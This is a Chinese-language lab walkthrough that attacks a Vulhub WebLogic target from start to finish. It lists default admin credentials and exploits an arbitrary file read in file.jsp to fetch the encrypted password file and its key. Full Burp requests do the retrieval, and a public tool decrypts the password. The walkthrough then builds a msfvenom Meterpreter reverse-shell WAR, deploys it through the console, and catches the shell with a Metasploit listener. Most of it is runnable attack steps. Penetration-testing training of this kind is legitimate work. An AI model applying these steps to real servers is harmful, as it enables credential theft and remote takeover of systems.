Weblogic 弱口令、任意文件读取漏洞
环境安装
此次我们实验的靶场,是vnlhub中的Weblogic漏洞中的weak_password靶场,我们 cd 到weak_password,然后输入以下命令启动靶场环境:
docker-compose up -d
输入以下的命令可以查看当前启动的靶场环境:
docker-compose ps
漏洞复现
首先我们可以通过本机的IP加端口号( http://192.168.41.132:7001/console/login/LoginForm.jsp
)来进行靶场访问,如图这就是漏洞靶场的界面了
弱口令漏洞
这里我们可以使用弱口令来尝试登陆界面,Weblogic常用的弱口令密码有如下几种:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
这里我们使用 weblogic:Oracle@123 的密码成功爆破弱口令进入后台
如下图是Weblogic的后台管理界面
任意文件读取漏洞
我们访问这个IP地址,http://192.168.41.132:7001/hello/file.jsp?path=/etc/passwd
,这个地址存在任意文件读取漏洞,我们输入这点URL后,浏览器会下载一个file.htm文件
file.htm文件的内容如图所示
上述步骤说明http://192.168.41.132:7001/hello/file.jsp?path=
这个URL路径存在任意文件读取漏洞,现在我们知道了这个路径存在任意文件读取漏洞,那我们该如何利用这个漏洞呢?Weblogic的服务器存在两个文件,密文和密钥,Weblogic的服务器存储密文的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
,相对路径是:security/SerializedSystemIni.dat
,密钥文件的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
,相对路径是:config/config.xml
现在我们打开BP,点击进入 Repeater 重放模块,重放以下的数据包获取密文(注意这里的主机IP和端口号要改成你靶机的IP和端口号)
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/Serialize
dSystemIni.dat HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close
点击 send,发送数据包,得到以下数据
然后点击 Hex,切换为 16 进制的数据格式
选中以下的数据分段
右键点击copy to file,进行复制,保存为 111.dat 文件
然后我们重新发送以下的数据包,获取密钥文件(注意这里的主机IP和端口号要改成你靶机的IP和端口号)
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close
现在我们得到了密钥的文件,然后将其保存复制下来,后面解密会用到
接下来我们去进行 Weblogic 密文的解密
Weblogic解密工具下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password
此次我们使用的是这个工具:https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt
将工具下载到本地之后,我们通过以下代码启动工具
java -jar weblogic_decrypt.jar
然后将文件选择为我们保存的111.dat文件,密文这里填写我们获得得密钥,然后点击确定,成功解密出密码
然后我们使用 weblogic 用户名 和 破解出来得密码 Oracle@123 尝试登陆后台
控制目标服务器
我们获得用户名和密码之后尝试登陆Weblogic 的后台
现在我们已经通过弱口令或者任意文件读取漏洞获得密码成功登陆了Weblogic服务器的后台界面
进入到后台之后,我们该如何去利用呢?首先我们通过kali生成一个木马
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.41.132 lport=4444 -f war -o java.war
点击左侧 部署->安装->上载文件->选择部署,上传java.war包->(全部下一步)-> 完成
上传好后的界面如图所示:
然后kali机器开启监听
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.41.132
set LPORT 4444
exploit
接下来我们访问 http://192.168.41.132:7001/java
这个URL来触发木马回连
kali机器收到监听